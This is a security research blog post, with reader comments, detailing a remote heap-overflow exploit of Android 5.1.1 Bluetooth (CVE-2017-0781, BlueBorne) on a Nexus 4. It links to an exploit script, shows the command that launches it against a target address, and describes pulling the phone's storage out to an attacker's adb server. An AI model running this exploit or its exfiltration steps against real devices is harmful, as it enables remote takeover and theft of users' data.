Introduction
In September 2017, Armis security researchers have published a whitepaper named “BlueBorne” which reveals several vulnerabilities in different bluetooth stack implementations. All major stacks are impacted and for Android system (Bluedroid), three vulnerabilities have been discovered :
CVE-2017-0785 : Memory leak
CVE-2017-0781 and CVE-2017-0782 : Buffer overflow which can lead to remote execution
To demonstrate the vulnerability, Armis team developed a proof of concept and exploited the CVE-2017-0781 vulnerability on Android 7.1. https://github.com/ArmisSecurity/blueborne
Last release version of Nexus 4 runs on Android 5.1.1 and bluetooth implementation contains a lot a changes regarding Android 7.x. The main difference is the heap allocator which is totally different.
To exploit CVE-2017-0781 on Nexus 4 device (latest software update) , a different exploit has been developed and is detailed in this blog post.
ALSR bypass was done using CVE-2017-0785 but it is not explained here because there is no difference with Android 7.0
The android image used for this exploit is available here :
https://developers.google.com/android/images#occam
5.1.1 (LMY48T) | Link | c43c7cfd7e77ae97dad0c2e0f3810f84bc5e2ca3b4dc74256eb7e13012ec1131 |
DISCLAIMER : All the information provided here are for educational purposes only. Performing any hack attempts/tests without written permission from the owner of the targeted device is illegal.
Bluedroid differences between Android 5.x and 7.x
Android 7.x
In Android 7.x system, the vulnerability is located in file bnep_main.c
and function bnep_data_ind
Line #578, a malloc is performed with the function osi_malloc(rem_len)
, pointer returned is saved in p_bcp->pending_data
. Then, line #579 a memcpy in executed with ((UINT8 *)(p_bcb->p_pending_data +1)
as source address.
It can be noticed that 1 is added to p_bcb->p_pending_data
address. However p_bcb->p_pending_data
is a BT_HDR*
pointer so “+1” means + sizeof(BT_HDR).
Finally the destination address is (UINT8*)(p_bcb->p_pending_data) + 8
. Because the length of the copy is not adapted with this offset, there is a buffer overflow of 8 bytes after the allocated p_bcb>p_pending_data
buffer.
According to the Armis technical paper, this overflow is triggered for any chosen size.
“Notably, since it’s possible to send an arbitrarily sized packet, the osi_malloc
allocation size can be controlled, since rem_len
represents the size of the payload in the packet. This allows an overflow of 8 bytes on the heap following a buffer of any chosen size, which makes exploitation much easier.”
Then the overflow is used to override data contained in another object.
The function pointer ((post_to_task_hack_t *) (&p_mg->data[0]))->callback
and its parameter p_mgs
are user controlled from bluetooth packets. In their exploit, this was used to call system function of libc.so
to finish the exploitation.
Android 5.x
In this Android 5.x; the vulnerability is located in the same file and function.
In this version, it can be noticed that allocation function is different.
In Android 5.x, GKI_getbuf
is called whereas it was osi_malloc
in Android 7.x
GKI allocation system is based on memory pools of different size (similar to SLAB allocator).
When a buffer is requested, a memory ‘chunk’ is returned but internally its size can be greater than the requested length. The buffer overflow does not impact the same things than in version of Android 7.x which make Armis PoC not working in this case.
In addition, the BTU_POST_TO_TASK_NO_GOOD_HORRIBLE_HACK
switch case is not present in the code and could not be used to gain control of the execution flow.
Modifications between both versions were noticed. A new way had to be found to exploit this vulnerability.
Arbitrary write / GKI Heap allocator
At Bluedroid start up, the GKI dynamic allocator is initialized. Memory pools are created and registered in a global variable named gki_cb
.
A pool is a continuous memory with fixed chunk data size.
When an allocation is requested, pools are looped from 0 to 9. When the chunk data size of the pool is large enough for the requested size, the allocator returns the first free chunk.
Sizes of all pools can be found in /include/gki_target.h
file and can be summarized as following.
Pool ID | Pool Size |
0 | 0x40 |
1 | 0x120 |
2 | 0x294 |
3 | 0x1010 |
4 | 0x1faa |
5 | 0x2ec |
6 | 0x10c |
7 | 0x2818 |
8 | 0x80 |
9 | 0x2000 |
Before each data chunk, a 8 bytes header contains information about the data. The first element (p_next
), is a pointer to the next buffer in the queue. It is used to create a chained list of buffer.
In order to override data of the next chunk, size requested must be equal to the maximum size in the pool targeted. Up to 8 bytes can be overwritten which correspond to the header part.
In the diagrams below, the memory written by the memcpy
call is represented in red :
States of each memory pools are managed by a struct FREE_QUEUE_T
which contains usage information about a pool. This structure counts the number of chunk used and has a pointer (p_first
) to the next free element.
When an allocation is requested, GKI_getbuf
function returns the p_first
element and changes the value by the p_next pointer contained in the BUFFER_HDR_T
.
In order to write data at a controlled address, two allocations in a same pool are needed.
- A first one with a size equals to the maximum buffer size of the pool in order to override the p_next field of following
BUFFER_HDR_T
header. When theFREE_QUEUE_T
structure of the corresponding pool is updated, the new value ofp_first
will be set with a controlled address. - A second allocation to write data at the address previously set.
To control data written, the second allocation must be executed just after the first one. However the GKI allocator is used internally; when a bluetooth packet is received several GKI_getbuf
/GKI_free
calls are executed.
The pool ID 0 with a chunk size of 0x40 contains smaller objects and cannot be used because several objects are allocated in this pool when a packet is received.
The pool ID 1 (size 0x120) is the best candidate. By tracing the execution of GKI allocator, it has been noticed that for a packet size of 0x120, only one allocation is done.
This allocation is done by the code previously seen with GKI_getbuf
. A good point is that this buffer is then filled with incoming packet data.
At this point we are able to perform an arbitrary write with controlled data using the pool ID 1.
Let’s sum up the arbitrary write :
Step 1 : Send a packet with a size of 0x120 bytes. At the end of payload data, write the BUFFER_HDR
structure to set the following p_next
with an arbitrary address.
Step 2 : Send a packet with a payload size between 0x40 and 0x120.
Control execution / GKI mail box system
By analysing the main loop (btu_task
function of
btu_task.c
file) which processes incoming packets we can understand the following workflow :
- Wait for a new event by calling the blocking function
GKI_wait
- Get new mbox message of
BTU_HCI_RCV_MBOX
queue withGKI_read_mbox
function - Depending the
p_msg->event
value, the message is processed. If no case corresponds to the event, a global callbacks table is checked. If a callback for this event was found it is expected. - Loop
The exploitation needs two writes :
- A first one to register a new callback. This write is also used to register the corresponding message in the mailbox.
- A second one to modify the mbox address and make it point to the previous registered message during the first write.
First write : Register a new callback and prepare a new mailbox message
Callback list is stored in the global btu_cb
structure which is described below.
The field event_reg
contains callbacks associated to an event value.
A good point is that event_reg
is located at the begin of the structure. Previous data will be used to register the next new message in the mailbox.
A first arbitrary write is performed to register the system
callback associated to event 0xBE, this new event ID will be used to call the final stage of the exploit (calling libc’s system function).
Second write : Modify the mailbox pointer
Mailing boxes are stored in the gki_cb
global variable in the OSTaskQFrist[]
field.
A mailbox is simply a chained list of BUFFER_HDR_T
elements already described in the previous part.
By changing the pointer of BTU_HCI_RCV_MBOX
mailbox queue with the address of the last arbitrary write, the new message will be processed and controlled callback will be executed.
Following diagram sums up the two writes :
Note that arguments in green cannot contain null characters and unused fields are set to 0x1111.
Post Exploitation
Using the exploitation explained above it is now possible to execute shell commands with the privileges of com.android.bluetooth.
Unlike the demo done by Armis, we cannot use netcat tool to upload content of the phone. However old android versions contain adb tool.
A linux version of adbd has been modified and was started as a server on computer side.
Then it is possible from the nexus 4 to connect to this server adb connect .
Data can be uploaded using for instance adb push /sdcard/
Python exploitation script :
https://gist.github.com/sploit3r/4161b6f71e595433543e10f97de2098e
Modified adbd daemon + patch :
https://github.com/robclark/core
https://gist.github.com/sploit3r/19b56240eb0d7fb723a359c37059b180
mkdir lib adb pull /system/lib/libc.so ./lib adb pull /system/lib/hw/bluetooth.default.so ./lib sudo python2 exploit.py hci0 AA:BB:CC:DD:EE:FF ./lib/
Thanks
Thanks to David, Guillaume and Max for their feedback 😉
hi, “mdkir lib” bad!
“mkdir lib” god!
Thanks 🙂
I follow the steps, but I have failed.
“
▘] Exploit: Sending packet 0
[ERROR] Invalid continuation state received.
Traceback (most recent call last):
File “exp.py”, line 261, in
main(*sys.argv[1:])
File “exp.py”, line 258, in main
exploit.run()
File “exp.py”, line 247, in run
libc_text_base, bluetooth_default_bss_base = memory_leak_get_bases(self.src_hci, self.dst)
File “exp.py”, line 65, in memory_leak_get_bases
log.error(‘Invalid continuation state received.’)
File “/usr/local/lib/python2.7/dist-packages/pwnlib/log.py”, line 417, in error
raise PwnlibException(message % args)
pwnlib.exception.PwnlibException: Invalid continuation state received.
”
Hi,
It seems the memory leak (CVE-2017-0785) does not work.
What is the android version on your Nexus 4 ?
You can test memory leak with this script https://github.com/ojasookert/CVE-2017-0785/blob/master/CVE-2017-0785.py
Android 5.1.1 Not Nexus 4
Open “CVE-2017-0785.py”
The same mistake :
“[O] Exploit: Sending packet 0
[ERROR] Invalid continuation state received.
Traceback (most recent call last):
File “cve1.py”, line 38, in
log.error(‘Invalid continuation state received.’)
File “/usr/local/lib/python2.7/dist-packages/pwnlib/log.py”, line 417, in error
raise PwnlibException(message % args)
pwnlib.exception.PwnlibException: Invalid continuation state received.
”
Android 5.1.1 Not Nexus 4
Open “CVE-2017-0785.py”
The same mistake :
“[O] Exploit: Sending packet 0
[ERROR] Invalid continuation state received.
Traceback (most recent call last):
File “cve1.py”, line 38, in
log.error(‘Invalid continuation state received.’)
File “/usr/local/lib/python2.7/dist-packages/pwnlib/log.py”, line 417, in error
raise PwnlibException(message % args)
pwnlib.exception.PwnlibException: Invalid continuation state received.
”
Any idea how to do the post exploit of waking up the phone and mounting uhid?
@Tzxiang: Were you able to get this to execute properly?
Working with a LG G3, stock ROM android 5.0.1… Same Bluetooth sources.
Script runs without errors and verified that the payloads land in memory at the correct positions relative to their intended structures (remote debug w/ IDA Pro), but for some reason it does nothing more than jam up bluetooth and requires manual reset during which the slider button flips on/off by itself a few times over 30 secs or so. This only happens on the second iteration of the OSTaskQFirst overwrite, which if I’m sane (?) should be the trigger packet. Seems as though beyond having the data written, something does indeed happen where program flow is altered and then goes back to idle loop, but no longer responds to connections until reset. I have made various adjustments to payload offsets in testing, but none have any effect other than outright crashing bluetooth. IDA is a pain and does not like breakpoints for some reason on this one, even after blanketing the related asm functions, they’re ignored and I never get to trace execution. I am not very familiar with gdb… but can follow and learn if anyone has some tips there.
Also, any idea where the magic header “…00 00010000 00410000 ….” is generated along the way in the sources and why debugging live memory shows one less 0 between 0x41 byte and start of payload than as written in script? Trying to understand its relevance.
Anyone have any clues on these?
hello, thanks for you explain, Perhaps you can helpme. I cannot jump over my bash command, only I see in hexdump, but nothing, the bluetooth daemon crashes. Y try over moto g5 with Android 7
peda-arm > hexdump 0x95eb4590 512
0x95eb4590 : 00 00 00 00 41 41 41 41 00 00 00 00 00 00 00 00 ….AAAA……..
0x95eb45a0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0x95eb45b0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0x95eb45c0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0x95eb45d0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0x95eb45e0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0x95eb45f0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0x95eb4600 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0x95eb4610 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0x95eb4620 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0x95eb4630 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0x95eb4640 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0x95eb4650 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0x95eb4660 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0x95eb4670 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0x95eb4680 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0x95eb4690 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0x95eb46a0 : 00 00 03 00 18 cc 00 00 86 88 c5 2e 01 37 00 01 ………….7..
0x95eb46b0 : 04 cc cc cc 22 17 aa aa 41 41 41 41 02 dd e4 b0 ….”…AAAA….
0x95eb46c0 : 22 3b 0a 74 6f 75 63 68 20 2f 64 61 74 61 2f 6c “;.touch /data/l
0x95eb46d0 : 6f 63 61 6c 2f 74 6d 70 2f 74 65 73 74 0a 23 01 ocal/tmp/test.#.
0x95eb46e0 : 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 …………….
0x95eb46f0 : 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 …………….
0x95eb4700 : 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 …………….
0x95eb4710 : 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 …………….
–More–(25/32)
0x95eb4720 : 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 …………….
0x95eb4730 : 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 …………….
0x95eb4740 : 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 …………….
0x95eb4750 : 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 …………….
0x95eb4760 : 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 …………….
0x95eb4770 : 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 …………….
0x95eb4780 : 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 …………….
Hi !
Do you have a backtrace of your crash ?
These techniques are very helpful…..Thank you so much for sharing….
GOOD WORK. Thank you for sharing, It’s work on other android 5.1.1 model only less changes.
Hi, how to use modified adbd daemon?